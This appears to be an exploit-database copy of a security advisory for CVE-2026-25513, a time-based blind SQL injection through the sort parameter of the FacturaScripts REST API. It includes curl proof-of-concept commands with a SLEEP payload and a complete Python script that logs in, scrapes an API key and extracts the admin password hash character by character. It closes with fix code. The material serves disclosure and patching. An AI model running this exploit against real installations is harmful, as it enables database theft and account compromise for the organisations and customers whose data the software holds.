Share
## https://sploitus.com/exploit?id=PACKETSTORM:218735
# CVE-2026-25513: FacturaScripts has SQL Injection in API ORDER BY Clause
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-25513](https://nvd.nist.gov/vuln/detail/CVE-2026-25513) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **facturascripts/facturascripts** (versions: < 2025.81)
    
    
    ## CWE Classification
    
    - CWE-20: Improper Input Validation
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    - CWE-943: Improper Neutralization of Special Elements in Data Query Logic
    - CWE-1286: Improper Validation of Syntactic Correctness of Input
    
    ## Details
    
    ### Summary
    **FacturaScripts contains a critical SQL injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.
    
    ---
    
    ### Details
    
    The FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.
    
    #### Vulnerable Code Locations
    
    **1. Legacy Models:**
    **File:** `/Core/Model/Base/ModelClass.php`
    **Method:** `getOrderBy()`
    Direct concatenation of keys and values from the `$order` array.
    
    **2. Modern Models (DbQuery):**
    **File:** `/Core/DbQuery.php`
    **Method:** `orderBy()`
    **Lines:** 255-259
    ```php
            // If it contains parentheses, it is not escaped (VULNERABILITY!)
            if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
                $this->orderBy[] = $field . ' ' . $order;
                return $this;
            }
    ```
    This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL injection.
    
    ---
    
    ### Proof of Concept (PoC)
    
    #### Prerequisites
    - Valid API authentication token (X-Auth-Token header)
    - Access to FacturaScripts API endpoints
    
    #### Step-by-Step Verification (CLI)
    
    Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.
    
    **1. Login and Retrieve a valid API key:**
    We handle the CSRF token and session cookies to access the settings and retrieve the first available key.
    ```bash
    # Login
    TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
    curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
      -d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
    
    # Find the ID of the first existing API key
    API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
    
    # Extract the API key string using its ID
    API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
    echo "Using API Key: $API_KEY"
    ```
    
    **2. Verify Time-Based SQL Injection:**
    Use the extracted `API_KEY` in the `X-Auth-Token` header.
    ```bash
    # Normal request (baseline)
    time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
    
    # Injected request (SLEEP payload in the sort key)
    time curl -g -s -H "X-Auth-Token: $API_KEY" \
      "http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
    ```
    
    **Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL injection.
    
    ---
    
    #### Automated Exploitation Tool
    
    This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL injection.
    
    ```python
    import requests
    import time
    import string
    import re
    
    # Configuration
    BASE_URL = "http://localhost:8091"
    USERNAME = "admin"
    PASSWORD = "admin"
    API_ENDPOINT = "/api/3/users"
    
    session = requests.Session()
    
    def get_token(url):
        """Extract multireqtoken from any page"""
        res = session.get(url)
        match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
        return match.group(1) if match else None
    
    def get_api_key():
        """Logs in and retrieves the first active API key dynamically"""
        print(f"[*] Logging in as {USERNAME}...")
        
        # 1. Login flow
        token = get_token(f"{BASE_URL}/login")
        if not token:
            print("[!] Failed to get initial CSRF token")
            return None
            
        login_data = {
            "fsNick": USERNAME,
            "fsPassword": PASSWORD,
            "action": "login",
            "multireqtoken": token
        }
        res = session.post(f"{BASE_URL}/login", data=login_data)
        if "Dashboard" not in res.text:
            print("[!] Login failed!")
            return None
        print("[+] Login successful.")
    
        # 2. Retrieve API Key ID from settings
        print("[*] Accessing API settings...")
        res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
        id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
        if not id_match:
            print("[!] No API keys found in system!")
            return None
        
        api_id = id_match.group(1)
        
        # 3. Get the actual API key string
        print(f"[*] Retrieving API key for ID {api_id}...")
        res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
        key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
        if not key_match:
            print("[!] Failed to extract API key from page!")
            return None
            
        return key_match.group(1)
    
    def time_based_sqli(api_key, payload):
        """Execute time-based SQL injection and measure response time"""
        headers = {"X-Auth-Token": api_key}
        params = {
            'limit': 1,
            f'sort[{payload}]': 'ASC'
        }
        start = time.time()
        try:
            requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
        except requests.exceptions.ReadTimeout:
            return 10.0
        except:
            pass
        return time.time() - start
    
    def extract_data(api_key, query, length=60):
        """Extracts data char by char using time-based blind SQLi"""
        extracted = ""
        charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
        
        print(f"[*] Starting extraction for query: {query}")
        for i in range(1, length + 1):
            found = False
            for char in charset:
                # Added BINARY to force case-sensitive comparison
                payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
                elapsed = time_based_sqli(api_key, payload)
                
                if elapsed >= 2.0:
                    extracted += char
                    print(f"[+] Found char at pos {i}: {char} -> {extracted}")
                    found = True
                    break
            if not found:
                break
        return extracted
    
    def main():
        print("="*60)
        print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
        print("="*60)
    
        # 1. Get API Key dynamically
        api_key = get_api_key()
        if not api_key:
            return
        print(f"[+] Using API Key: {api_key}")
    
        # 2. Verify vulnerability
        print("[*] Verifying vulnerability...")
        if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
            print("[+] System is VULNERABLE!")
        else:
            print("[-] System not vulnerable or API key invalid.")
            return
    
        # 3. Extract Admin Password Hash
        admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
        print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
    
    if __name__ == "__main__":
        main()
    ```
    <img width="862" height="1221" alt="image" src="https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273" />
    
    ---
    
    ### Impact
    
    #### Data Confidentiality
    - **Complete database disclosure** through blind SQL injection techniques
    - Extraction of sensitive data including:
      - User credentials and API keys
      - Customer PII (personal identifiable information)
      - Financial records and transaction data
      - Business intelligence and pricing information
      - System configuration and secrets
    
    #### Who is Impacted?
    - **Organizations using FacturaScripts API** for integrations
    - **Mobile apps and third-party integrations** using the API
    - **All users whose data is accessible via API**
    - **Business partners with API access**
    
    ---
    
    ### Recommended Fix
    
    #### Immediate Remediation
    
    **Option 1: Implement Strict Whitelist Validation (Recommended)**
    
    ```php
    // File: Core/Model/Base/ModelClass.php
    // Method: getOrderBy()
    
    private static function getOrderBy(array $order): string
    {
        $result = '';
        $coma = ' ORDER BY ';
    
        // Get valid column names from model
        $validColumns = array_keys(static::getModelFields());
    
        foreach ($order as $key => $value) {
            // Validate column name against whitelist
            if (!in_array($key, $validColumns, true)) {
                throw new \Exception('Invalid column name for sorting: ' . $key);
            }
    
            // Validate sort direction (must be ASC or DESC)
            $value = strtoupper(trim($value));
            if (!in_array($value, ['ASC', 'DESC'], true)) {
                throw new \Exception('Invalid sort direction: ' . $value);
            }
    
            // Escape column name
            $safeColumn = self::$dataBase->escapeColumn($key);
            $result .= $coma . $safeColumn . ' ' . $value;
            $coma = ', ';
        }
    
        return $result;
    }
    ```
    
    **Option 2: Use Database Escaping Functions**
    
    ```php
    private static function getOrderBy(array $order): string
    {
        $result = '';
        $coma = ' ORDER BY ';
    
        foreach ($order as $key => $value) {
            // Escape identifiers and validate direction
            $safeColumn = self::$dataBase->escapeColumn($key);
            $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
                ? strtoupper($value)
                : 'ASC';
    
            $result .= $coma . $safeColumn . ' ' . $safeDirection;
            $coma = ', ';
        }
    
        return $result;
    }
    ```
    
    **Option 3: Use Query Builder Pattern**
    
    ```php
    // Refactor to use prepared statements
    public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
    {
        $query = self::table();
    
        // Apply WHERE conditions
        foreach ($where as $condition) {
            $query->where($condition);
        }
    
        // Apply ORDER BY with validation
        foreach ($order as $column => $direction) {
            if (!array_key_exists($column, static::getModelFields())) {
                continue; // Skip invalid columns
            }
            $query->orderBy($column, $direction);
        }
    
        return $query->offset($offset)->limit($limit)->get();
    }
    ```
    
    #### API Security Best Practices
    
    ```php
    // Add to API configuration
    $config = [
        'max_sort_fields' => 3,  // Limit number of sort fields
        'allowed_sort_fields' => ['id', 'date', 'name'],  // Whitelist
        'default_sort' => 'id ASC',  // Safe default
    ];
    ```
    
    ---
    
    ### Credits
    
    **Discovered by:** ลukasz Rybak
    
    ## References
    
    - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99
    - https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25513
    - https://github.com/advisories/GHSA-cjfx-qhwm-hf99
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.